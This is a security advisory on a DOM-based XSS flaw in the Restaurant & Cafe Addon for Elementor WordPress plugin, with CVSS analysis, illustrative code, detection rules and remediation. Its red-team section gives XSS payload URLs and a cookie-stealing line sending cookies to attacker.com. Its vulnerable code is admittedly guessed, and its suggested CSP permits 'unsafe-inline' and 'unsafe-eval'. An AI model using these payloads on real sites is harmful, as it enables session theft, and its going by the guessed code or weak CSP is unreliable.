CVE-2024-54316

Executive Summary

CVE-2024-54316 is a DOM-Based Cross-Site Scripting (XSS) vulnerability discovered in the Nicheaddons Restaurant & Cafe Addon for Elementor WordPress plugin, affecting all versions up to and including 1.5.8. This vulnerability allows an attacker to inject malicious scripts into a web page via the Document Object Model (DOM) environment, without requiring server-side input validation. The attack vector is network-based, requires low complexity, and necessitates user interaction (e.g., clicking a crafted link). Successful exploitation could lead to session hijacking, credential theft, or defacement within the context of the victim's browser session.

Supply Chain & Package Security

This vulnerability resides within a WordPress plugin ecosystem, specifically the restaurant-cafe-addon-for-elementor plugin distributed via the official WordPress plugin repository and third-party marketplaces. The plugin is a commercial addon for the Elementor page builder, commonly used by restaurant and cafe websites. As of this report, no official patch has been released by the vendor (Nicheaddons), and the vulnerability remains unpatched. Users are advised to disable the plugin until a fix is available. The lack of OSV or GitHub advisory data indicates limited public disclosure and no known supply chain compromise, but the risk of exploitation via malicious links or compromised sites remains.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.5 (Medium)
• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): Required (R) – Victim must click a crafted link or visit a malicious page.
• Scope (S): Changed (C) – Impact extends beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): None (N) – No impact on availability.

Threat Level: Medium. While the CVSS score is moderate, the DOM-based nature and lack of a patch elevate the risk for unpatched installations. The EPSS score of 0.0% suggests low active exploitation in the wild, but this may change as awareness grows.

Deep Dive & Mechanics

The vulnerability stems from improper neutralization of user-controlled input within the plugin's JavaScript code that manipulates the DOM. Specifically, the plugin fails to sanitize or encode data passed to DOM APIs such as innerHTML, document.write, or eval-like functions. An attacker can craft a URL or inject payloads via query parameters, fragment identifiers, or form inputs that are processed by the plugin's client-side scripts.

Root Cause: The plugin's JavaScript likely reads values from window.location, document.referrer, or localStorage and inserts them directly into the DOM without proper escaping. For example, a parameter like ?menu=... might be used to dynamically load menu items, and if the value is not sanitized, an XSS payload like <img src=x onerror=alert(1)> can be executed.

Attack Flow:

1. Attacker crafts a malicious URL: https://victim-site.com/?menu=<script>alert('XSS')</script>
2. Victim clicks the link (user interaction required).
3. The plugin's JavaScript reads the menu parameter and inserts it into the DOM.
4. The browser executes the injected script, leading to XSS.

Impact: The attacker can perform actions on behalf of the victim, steal cookies, redirect to phishing pages, or deface the site. Since it's DOM-based, traditional server-side WAFs may not detect the attack.

Vulnerable vs. Patched Code

Since no patch is available, we analyze the vulnerable pattern. The vulnerable code likely resembles:

// Vulnerable code (example)
var menu = new URLSearchParams(window.location.search).get('menu');
document.getElementById('menu-container').innerHTML = menu;

A patched version would use safe DOM manipulation methods:

// Patched code (example)
var menu = new URLSearchParams(window.location.search).get('menu');
var sanitized = DOMPurify.sanitize(menu);
document.getElementById('menu-container').textContent = sanitized;
// Or use innerHTML with proper escaping
document.getElementById('menu-container').innerHTML = escapeHtml(menu);

The key difference is the use of textContent (which treats input as text) or a sanitization library like DOMPurify to strip malicious HTML/JavaScript.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A WordPress site with the vulnerable plugin installed (version <= 1.5.8).
• A web browser (e.g., Firefox, Chrome).

Exploit Steps:

1. Identify a vulnerable parameter. Common candidates include menu, category, search, or tab in the URL.
2. Craft a payload: <img src=x onerror=alert(document.cookie)>
3. Construct the malicious URL: http://target-site.com/?menu=<img src=x onerror=alert(document.cookie)>
4. Send the link to the victim (e.g., via email, social engineering).
5. Upon clicking, the XSS triggers, and the victim's cookies are displayed (or exfiltrated).

Advanced Payload (Cookie Stealing):

<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Lab Setup:

• Use a local WordPress instance with the plugin installed.
• Use a tool like ngrok to expose a local server for payload exfiltration.
• Test with browser developer tools to confirm DOM injection.

Blue Team (Defensive)

Detection:

• Monitor web server logs for suspicious URL parameters containing <script>, onerror, onload, or base64-encoded payloads.
• Use browser-based XSS filters (e.g., X-XSS-Protection header, though deprecated).
• Implement Content Security Policy (CSP) headers to restrict script execution.

Mitigation:

• Disable the plugin until a patch is released.
• Use a Web Application Firewall (WAF) with rules to block DOM-based XSS patterns.
• Educate users not to click suspicious links.

Indicators of Compromise (IOCs)

• URL Patterns: ?menu=<script>, ?category=javascript:, ?tab=<img src=x onerror=
• Network Traffic: Outbound requests to attacker-controlled domains (e.g., attacker.com/steal?cookie=...)
• Browser Console: Errors or unexpected script execution in the context of the plugin.
• File Hashes: No specific file hashes available; monitor for modified plugin files (e.g., restaurant-cafe-addon-for-elementor/js/*.js).

Detection Engineering

YARA Rule

rule CVE_2024_54316_DOM_XSS {
    meta:
        description = "Detects potential DOM-based XSS in Restaurant & Cafe Addon for Elementor"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-54316"
    strings:
        $vuln_func1 = "innerHTML" nocase
        $vuln_func2 = "document.write" nocase
        $vuln_func3 = "eval(" nocase
        $plugin_id = "restaurant-cafe-addon-for-elementor" nocase
    condition:
        $plugin_id and any of ($vuln_func*)
}

Sigma Rule

title: CVE-2024-54316 DOM-Based XSS in Restaurant & Cafe Addon for Elementor
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential exploitation attempts of DOM-based XSS via URL parameters
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains:
            - '<script>'
            - 'onerror='
            - 'onload='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in URLs (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-54316 DOM-Based XSS Attempt"; flow:to_server,established; content:"restaurant-cafe-addon-for-elementor"; http_uri; pcre:"/(<script|onerror|onload|javascript:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin restaurant-cafe-addon-for-elementor until a patched version is released.
2. Implement a Web Application Firewall (WAF) with rules to block common XSS payloads in URL parameters.
3. Add Content Security Policy (CSP) headers: Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; (adjust as needed, but avoid unsafe-inline if possible).
4. Monitor logs for suspicious URL patterns and outbound connections.

Long-Term Fixes:

• The vendor must release a patched version that sanitizes all user input before DOM insertion.
• Use textContent instead of innerHTML where possible, or employ a sanitization library like DOMPurify.
• Conduct a security audit of all client-side JavaScript in the plugin.

Workarounds:

• If the plugin is critical, consider using a different restaurant/cafe addon for Elementor.
• Use browser extensions that block XSS (e.g., NoScript) for end users.

Valters IT
Securing Digital Frontiers